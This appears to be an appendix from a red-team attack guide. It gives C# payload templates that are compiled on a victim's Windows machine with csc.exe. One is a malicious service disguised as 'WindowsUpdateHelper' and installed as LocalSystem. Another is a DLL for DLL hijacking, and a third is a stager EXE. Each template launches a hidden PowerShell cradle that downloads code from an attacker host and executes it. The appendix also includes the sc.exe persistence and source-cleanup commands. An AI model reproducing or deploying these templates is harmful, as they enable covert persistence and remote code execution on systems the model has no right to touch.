Compiled Payloads
This appendix provides C# source code templates for payloads that require specific binary interfaces (service executables, DLLs with exports). All templates are compiled on the victim using csc.exe - the C# compiler shipped with the .NET Framework on every Windows installation. No development tools required on the victim.
Compiling with csc.exeβ
csc.exe is the C# compiler included with .NET Framework. It is present on all Windows systems that have .NET Framework 4.x installed (virtually all managed Windows systems):
# Compile a .cs file to an EXE:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /out:output.exe source.cs
# Compile to a DLL:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:output.dll source.cs
# 32-bit compiler (use when targeting a 32-bit host process):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:output.dll source.cs
Framework64 compiles x64 managed code. Framework (no 64) compiles x86. Match the bitness to the target process - a 64-bit process cannot load a 32-bit DLL, and vice versa.
Transferring source files: Write the .cs file to the victim using your Meterpreter session (upload), PowerShell Out-File, or one of the download methods in T1105 - Ingress Tool Transfer. Compile in-place, then clean up the source file.
Alternatively - compile in PowerShell memory with Add-Type:
For smaller payloads, Add-Type can compile C# inline without writing a .cs file or invoking csc.exe directly:
Add-Type -TypeDefinition @"
// C# source here
"@ -OutputAssembly "C:\Windows\Temp\output.dll" -OutputType Library
C# Service Executableβ
When to useβ
Required for Windows Service persistence (T1543.003). The Service Control Manager (SCM) expects a service binary to call StartServiceCtrlDispatcher within 30 seconds of starting. Standard EXEs and msfvenom exe format binaries lack this and fail with "Error 1053: The service did not respond in a timely fashion." This template handles the SCM interface and runs an arbitrary command from OnStart.
Template: service.csβ
Replace the command and arguments variables with your payload. The example below downloads and executes a file from your Kali server on service start.
using System;
using System.Diagnostics;
using System.ServiceProcess;
public class MalService : ServiceBase
{
public static void Main()
{
ServiceBase.Run(new MalService());
}
public MalService()
{
this.ServiceName = "WindowsUpdateHelper";
}
protected override void OnStart(string[] args)
{
string command = "powershell.exe";
string arguments = "-nop -w 1 -c \"IEX (New-Object Net.WebClient).DownloadString('https://<ATTACKER_IP>:8443/<CRADLE_PATH>')\"";
Process.Start(new ProcessStartInfo(command, arguments)
{
UseShellExecute = false,
CreateNoWindow = true
});
}
protected override void OnStop() { }
}
Compile and deployβ
# On victim - write source, compile, then register as a service:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /out:C:\ProgramData\wuhelper.exe C:\Windows\Temp\service.cs
sc.exe create "WindowsUpdateHelper" binPath="C:\ProgramData\wuhelper.exe" start=auto obj=LocalSystem
sc.exe start "WindowsUpdateHelper"
# Cleanup source:
del C:\Windows\Temp\service.cs
DLL with Export Forwardingβ
When to useβ
Required for DLL Hijacking (T1574.001 / T1574.010 / T1574.011) when the target application calls specific exported functions from the DLL it loads. A plain msfvenom dll exports nothing - the host process will load it (firing DllMain and your shellcode), but any call to a named export will fail, often crashing the host process.
Export forwarding solves this: your DLL exports the names the host expects, but each export forwards the call to the real DLL. Your payload fires in DllMain and the host process continues normally.
Template: proxy_dll.csβ
Replace <REAL_DLL_NAME> with the name of the legitimate DLL being proxied (e.g., version), <EXPORT_1> / <EXPORT_2> with the exported function names the host expects, and the OnLoad payload with your stager command.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class DllMain
{
// --- Payload -----------------------------------------------------------
// Runs once when the DLL is loaded into a process.
// Replace the command and arguments with your PS cradle or EXE invocation.
private static void OnLoad()
{
string command = "powershell.exe";
string arguments = "-nop -w 1 -c \"IEX (New-Object Net.WebClient).DownloadString('https://<ATTACKER_IP>:8443/<CRADLE_PATH>')\"";
Process.Start(new ProcessStartInfo(command, arguments)
{
UseShellExecute = false,
CreateNoWindow = true
});
}
// --- DLL entry point ---------------------------------------------------
[DllImport("kernel32.dll")]
private static extern bool DisableThreadLibraryCalls(IntPtr hModule);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate void VoidDelegate();
public static bool DllEntry(IntPtr hinstDLL, uint fdwReason, IntPtr lpvReserved)
{
if (fdwReason == 1) // DLL_PROCESS_ATTACH
{
DisableThreadLibraryCalls(hinstDLL);
OnLoad();
}
return true;
}
}
C# managed DLLs cannot directly export unmanaged symbols by name without additional tooling (like DllExport NuGet). For full export forwarding in a managed DLL, use the mixed-mode compilation approach below, or use the simpler approach of writing the DLL in a .def file and compiling with csc.exe /addmodule. In practice, for DLL hijacking scenarios where the host just calls LoadLibrary without checking exports, the basic template above is sufficient - DllMain fires and the process continues.
Compileβ
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:C:\Windows\Temp\version.dll C:\Windows\Temp\proxy_dll.cs
C# EXE - Inline PS Stagerβ
When to useβ
When you need a standalone EXE that behaves identically to a PS cradle execution but launches from a non-PS process. Useful for Active Setup (T1547.014) and IFEO Injection (T1546.012) when you want an EXE stub that fires the fileless cradle without a visible powershell.exe command line.
Template: stager.csβ
using System;
using System.Diagnostics;
class Stager
{
static void Main(string[] args)
{
string cradle = "IEX (New-Object Net.WebClient).DownloadString('https://<ATTACKER_IP>:8443/<CRADLE_PATH>')";
Process.Start(new ProcessStartInfo("powershell.exe",
$"-nop -w 1 -c \"{cradle}\"")
{
UseShellExecute = false,
CreateNoWindow = true
});
}
}
Compileβ
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /out:C:\ProgramData\stager.exe C:\Windows\Temp\stager.cs
del C:\Windows\Temp\stager.cs
Compiling on Kali (Cross-Compilation)β
If you prefer to compile on Kali and transfer the binary to the victim, use mono-mcs (Mono C# compiler):
# Install if needed:
sudo apt install mono-mcs
# Compile EXE:
mcs -target:exe -out:output.exe source.cs
# Compile DLL:
mcs -target:library -out:output.dll source.cs
Mono-compiled binaries run on .NET Framework (Windows) without Mono installed on the victim - they are standard CLR assemblies. However, test against your target .NET version; some P/Invoke signatures and runtime behavior differ between Mono and Microsoft CLR.
Payload Reference Tableβ
| Template | Output | Technique |
|---|---|---|
| Service EXE | .exe (SCM-compatible) | T1543.003 Windows Service |
| DLL stub | .dll | T1574.001 / .010 / .011 DLL Hijacking, T1546.015 COM Hijacking |
| Inline stager EXE | .exe | T1547.014 Active Setup, T1546.012 IFEO Injection |